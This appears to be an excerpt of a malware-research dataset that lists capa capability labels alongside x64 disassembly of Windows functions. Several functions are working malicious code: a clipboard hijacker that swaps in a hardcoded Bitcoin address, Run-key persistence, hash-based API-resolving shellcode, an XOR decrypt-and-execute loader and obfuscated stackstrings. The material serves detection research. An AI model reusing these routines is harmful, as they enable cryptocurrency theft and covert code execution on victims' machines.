joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007107c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400710ac
xor eax, eax
jmp 0x14007116f
mov rbp, rbx
cmp word [rax], si
je 0x1400710d1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400710b8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400710b4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140070f9c
movsxd r14, eax
test eax, eax
jne 0x14007110f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400710a5
mov rcx, r14
call fcn.14006a804
mov rdi, rax
test rax, rax
jne 0x140071128
xor ecx, ecx
call fcn.1400696fc
jmp 0x140071104
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140070f9c
test eax, eax
jne 0x140071159
mov rcx, rdi
call fcn.1400696fc
jmp 0x140071163
xor ecx, ecx
call fcn.1400696fc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140074788
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14006a11c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140074829
cmp ebx, dword [rsp + 0x30]
je 0x140074822
test esi, esi
je 0x140074822
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400747fd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14007480a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400747e7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14007480e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14007482b
mov eax, 1
jmp 0x14007482b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140078ae4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14005a030
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140078b6e
cmp byte [rbp - 0x21], r15b
je 0x140078b69
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140078ba4
call fcn.14006ab2c
test eax, eax
jne 0x140078b90
cmp byte [rbp - 0x21], r15b
je 0x140078b88
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140078ba4
cmp byte [rbp - 0x21], r15b
je 0x140078ba1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140068588
test eax, eax
jne 0x140078c44
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14005a030
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140078be3
cmp byte [rbp - 0x21], r15b
je 0x140078c18
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140078c18
call fcn.14006ab2c
test eax, eax
jne 0x140078c04
cmp byte [rbp - 0x21], r15b
je 0x140078bfd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140078c18
cmp byte [rbp - 0x21], r15b
je 0x140078c15
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140068588
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140078c44
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140078c47
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140078c55
mov rcx, rdi
call fcn.1400696fc
cmp byte [rbp + 0x3f], r15b
je 0x140078c64
mov rcx, qword [rbp + 0x27]
call fcn.1400696fc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140079c14
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14006c580
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14006c580
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140079d64
cmp rax, 0xffffffffffffffff
je 0x140079d64
xor edi, edi
test rbp, rbp
jle 0x140079d0f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400698ac
mov rbx, rax
test rax, rax
jne 0x140079c9c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140079d05
mov edx, 0x8000
mov ecx, r14d
call fcn.140065be8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14006dafc
cmp eax, 0xffffffff
je 0x140079ce5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140079cac
mov edx, r15d
mov ecx, r14d
call fcn.140065be8
jmp 0x140079d05
cmp byte [rsi + 0x38], dil
je 0x140079cfc
cmp dword [rsi + 0x34], 5
jne 0x140079cfc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140079d05
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400696fc
jmp 0x140079d78
jns 0x140079d78
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14006c580
cmp rax, 0xffffffffffffffff
jne 0x140079d30
cmp byte [rsi + 0x30], dil
je 0x140079d78
mov edi, dword [rsi + 0x2c]
jmp 0x140079d78
mov ecx, r14d
call fcn.1400720a4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140079d78
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140079d78
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140079d71
mov eax, dword [rsi + 0x2c]
jmp 0x140079d76
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14006c580
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14007af70
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14007af98
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14007af98
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400110c8
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x140015a30
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xa6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025018]
xor rax, rbp
mov qword [rbp + 0x408], rax
lea rcx, [0x14002b0ff]
call fcn.1400116cc
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [0x1400217b8]
mov qword [rbp + 0x238], rax
lea r8, [rbp + 0x258]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rbp + 0x274], eax
cmp dword [rbp + 0x274], 2
jne 0x140015b39
lea r8, [rbp + 0x258]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x28], 0x208
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.5WyNsTnlZb7
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x30]
lea rdx, [0x140020e50]
call fcn.1400115c3
mov rcx, qword [rbp + 0x408]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x418]
pop rdi
pop rbp
ret

Function at 0x1400113b1
Capabilities:
Terminate process

Disassembly:
jmp 0x140019170
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400113e3
Capabilities:
Open clipboard

Disassembly:
jmp 0x140015bb0
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14002b0ff]
call fcn.1400116cc
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140015c0c
mov ecx, 1
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x140015bef
mov byte [rbp + 0xd4], 1
jmp 0x140015bf6
mov byte [rbp + 0xd4], 0
movzx eax, byte [rbp + 0xd4]
mov byte [rbp + 4], al
call qword [sym.imp.USER32.dll_CloseClipboard]
movzx eax, byte [rbp + 4]
jmp 0x140015c0e
xor al, al
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400114b5
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
jmp 0x140017780
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025018]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x14002b0ff]
call fcn.1400116cc
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.1400110c8
lea rdx, [0x1400217b3]
lea rcx, [rbp + 8]
call fcn.1400112ee
nop
lea rdx, [0x14002185c]
lea rcx, [rbp + 0x48]
call fcn.1400112ee
nop
call fcn.1400113e3
movzx eax, al
test eax, eax
je 0x1400177f8
jmp 0x140017825
lea rdx, [0x140021860]
lea rcx, [rbp + 0x1c8]
call fcn.1400112ee
nop
lea rcx, [rbp + 0x1c8]
call fcn.14001177b
nop
lea rcx, [rbp + 0x1c8]
call fcn.140011140
xor eax, eax
cmp eax, 1
je 0x140017952
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140017928
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rbp + 0xa8], rax
mov rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0xc8]
call fcn.1400112ee
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc8]
call fcn.1400113c0
movzx eax, al
test eax, eax
je 0x1400178b4
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 8]
call fcn.1400115a5
cmp qword [rbp + 0xa8], 0
jne 0x1400178c4
call qword [sym.imp.USER32.dll_CloseClipboard]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.1400110f5
test rax, rax
jne 0x14001791c
lea rcx, [rbp + 0xc8]
call fcn.1400115ff
cmp rax, 0x19
jb 0x14001791c
lea rdx, str.bc1qre5et563wn6szq2ykshzktt2nkvm3fh4cwe4ra
lea rcx, [rbp + 0x208]
call fcn.1400112ee
nop
lea rcx, [rbp + 0x208]
call fcn.14001177b
nop
lea rcx, [rbp + 0x208]
call fcn.140011140
nop
lea rcx, [rbp + 0xc8]
call fcn.140011140
mov dword [rbp + 0x264], 0x64
lea rdx, [rbp + 0x264]
lea rcx, [rbp + 0x248]
call fcn.14001150f
mov rcx, rax
call fcn.1400115af
jmp 0x140017825
lea rcx, [rbp + 0x48]
call fcn.140011140
nop
lea rcx, [rbp + 8]
call fcn.140011140
lea rcx, [rbp - 0x20]
lea rdx, [0x140020f80]
call fcn.1400115c3
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret
Function at 0x1400114ce
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a4c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001a4e0
xor al, al
jmp 0x14001a561
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001a4f3
xor al, al
jmp 0x14001a561
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001a51d
xor al, al
jmp 0x14001a561
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001a531
xor al, al
jmp 0x14001a561
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001a543
xor al, al
jmp 0x14001a561
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001a55f
xor al, al
jmp 0x14001a561
mov al, 1
add rsp, 0x38
ret
Function at 0x14001177b
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
jmp 0x140015c40
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x20]
lea rcx, [0x14002b0ff]
call fcn.1400116cc
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rcx, qword [rbp + 0x110]
call fcn.140011500
mov rdx, rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140015c98
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, qword [rbp + 0x110]
call fcn.140011500
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbp + 0x110]
call fcn.140011096
mov qword [rbp + 0xe0], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rcx, qword [rbp + 0xd8]
mov r8, rcx
mov rcx, qword [rbp + 0xe0]
mov rdx, rcx
mov rcx, rax
call fcn.140011348
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, qword [rbp + 8]
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
lea rsp, [rbp + 0xf8]
pop rdi
pop rbp
ret

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140005940
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x18]
sub rsp, 0x118
mov eax, 0x2c000
mov qword [rsp + 0x110], r14
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x48], 0x38200
mov dword [rbp + 0x50], 0x82e00
mov dword [rbp + 0x40], 0x1000
call fcn.140027b90
call fcn.140026470
xor ecx, ecx
call qword [0x140002830]
mov rcx, qword [rbp + 0x58]
lea rdx, [rsp + 0x30]
add rcx, rax
mov dword [rsp + 0x30], 0xefb823d6
mov qword [rbp + 0x58], rcx
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x34], 0xc3ce2662
mov dword [rsp + 0x38], 0x12554ce2
mov dword [rsp + 0x3c], 0xe773e87d
mov dword [rsp + 0x40], 0x6b779c83
mov dword [rsp + 0x44], 0x573ba9b1
mov dword [rsp + 0x48], 0xeadb5fb2
mov dword [rsp + 0x4c], 0xa28eb60d
call fcn.1400028c0
mov r14, qword [rbp + 0x58]
mov esi, dword [rbp + 0x48]
mov rbx, r14
mov dword [rbp], 0x2d314218
mov dword [rbp + 4], 0xb6daeffc
mov dword [rbp + 8], 0xdf149b9
mov dword [rbp + 0xc], 0xbd7e7e03
test rsi, rsi
je 0x140005a5d
lea rdi, [rbp]
sub rdi, r14
dec rsi
shr rsi, 4
inc rsi
nop
movups xmm0, xmmword [rbx]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003590
mov ecx, 0x10
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140005a40
sub rdi, 0x10
movaps xmmword [rbp], xmm0
sub rsi, 1
jne 0x140005a20
mov ecx, dword [rbp + 0x50]
call fcn.1400264c0
mov r9d, dword [rbp + 0x48]
lea r8, [r14 + 0x10]
mov edx, dword [rbp + 0x50]
sub r9d, 0x20
mov rcx, rax
mov rbx, rax
call fcn.140005be0
mov r8d, dword [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 0x58]
call fcn.140026490
call fcn.140004730
mov r14, qword [rsp + 0x110]
mov rsi, rax
test rax, rax
je 0x140005aec
mov r8, qword [rax + 0x30]
mov edx, 0x28
lea ecx, [rdx + 0x18]
call r8
mov rdi, rax
test rax, rax
je 0x140005aec
mov qword [rax + 0x10], rsi
mov rdx, rbx
mov dword [rax + 0x18], 1
mov rcx, rdi
xor eax, eax
mov qword [rdi + 0x1c], rax
lea r8d, [rax + 1]
call fcn.140003d80
test eax, eax
jne 0x140005aec
mov rbx, qword [rsi + 0x38]
mov rcx, rdi
call rbx
mov rcx, rsi
call rbx
mov eax, dword [rbp + 0x40]
add rsp, 0x118
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400020e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000212e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000212e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000212e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000212e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000212e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002130
xor al, al
add rsp, 0x28
ret
Function at 0x1400010c0
Capabilities:
Accept command line arguments
Extract resource via kernel32 functions

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400010e4
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsi], 0
lea rax, str.8A69D345_D564_463c_AFF1_A69D9E530F96
mov qword [rsi + 8], rax
xor eax, eax
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x16], rax
mov byte [rsi + 0x1e], 1
mov qword [rsi + 0x20], rax
mov edx, 1
mov r8d, 0xa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140001165
mov rbx, rax
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001165
mov r14, rax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x140001165
mov edi, eax
and eax, 1
jne 0x140001165
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x140001165
and edi, 0xfffffffe
cmp word [rdi + rax - 2], 0
jne 0x140001165
mov qword [rsi + 0x20], rax
lea rdi, [rsp + 0x34]
mov dword [rdi], 0
mov qword [rsp + 0x20], 2
lea rdx, str.SoftwareGoogle
lea r8, str.ChromeInstallerCleanup
mov rcx, 0xffffffff80000001
mov r9, rdi
call fcn.140003860
cmp word [rdi], 0x30
setne cl
xor al, 1
or al, cl
mov byte [rsi + 0x1e], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rsi
mov rdx, rax
call fcn.1400011c0
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x18000ebf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x48
mov rax, qword [0x18005b3e0]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x29], 0x6c6c64
mov dword [rsp + 0x25], 0x2e323369
mov word [rsp + 0x23], 0x7061
mov word [rsp + 0x20], 0x6441
mov byte [rsp + 0x22], 0x76
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180011d20
add rsp, 0x48
ret

Function at 0x18000ed20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x48
mov rax, qword [0x18005b3e0]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x27], 0x6c642e32
mov word [rsp + 0x2b], 0x6c
mov dword [rsp + 0x21], 0x656e7265
mov word [rsp + 0x25], 0x336c
mov byte [rsp + 0x20], 0x4b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180011d20
add rsp, 0x48
ret

Function at 0x18000eda0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x48
mov rax, qword [0x18005b3e0]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
mov word [rsp + 0x24], 0x3233
mov dword [rsp + 0x26], 0x6c6c642e
mov word [rsp + 0x21], 0x6573
mov byte [rsp + 0x2a], 0
mov byte [rsp + 0x20], 0x55
mov byte [rsp + 0x23], 0x72
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180011d20
add rsp, 0x48
ret

Function at 0x18000ef90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x18005b3e0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov edi, edx
mov ebx, ecx
mov dword [rbp - 0x1c], 0x746f6873
mov dword [rbp - 0x2e], 0x65746165
mov word [rbp - 0x22], 0x3233
mov word [rbp - 0x28], 0x6c6f
mov word [rbp - 0x30], 0x7243
mov word [rbp - 0x25], 0x6c65
mov word [rbp - 0x1f], 0x616e
mov word [rbp - 0x2a], 0x6f54
mov byte [rbp - 0x26], 0x68
mov byte [rbp - 0x1d], 0x70
mov byte [rbp - 0x18], 0
mov byte [rbp - 0x23], 0x70
mov byte [rbp - 0x20], 0x53
call fcn.18000ed20
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000f019
mov edx, edi
mov ecx, ebx
call rax
jmp 0x18000f01d
or rax, 0xffffffffffffffff
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180011d20
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret